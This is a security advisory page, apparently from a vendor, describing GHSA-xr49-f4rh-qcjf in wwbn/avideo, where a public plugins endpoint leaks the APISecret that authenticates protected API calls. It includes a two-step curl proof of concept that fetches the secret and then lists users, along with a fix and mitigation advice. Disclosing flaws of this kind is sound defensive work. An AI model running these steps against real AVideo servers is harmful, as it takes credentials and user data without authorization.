GHSA-xr49-f4rh-qcjf
GHSA-xr49-f4rh-qcjf is a security vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-xr49-f4rh-qcjf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints
(e.g. users_list) without logging in.
Details
objects/plugins.json.php is public and still exposes plugin object_data containing APISecret.
That secret is accepted by plugin/API/get.json.php as authentication.
PoC
- Get plugin config (contains
APISecret):
curl 'http://<host>/objects/plugins.json.php'

- Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \
--data-urlencode 'APIName=users_list' \
--data-urlencode 'APISecret=<APISecret>' \
--data-urlencode 'rowCount=3' \
--data-urlencode 'current=1'

Impact
Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.
Recommended fix
Requiring admin auth for full plugin inventory/config endpoint.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-xr49-f4rh-qcjf yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xr49-f4rh-qcjf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xr49-f4rh-qcjf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xr49-f4rh-qcjf in your dependencies?
O3 detects GHSA-xr49-f4rh-qcjf across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
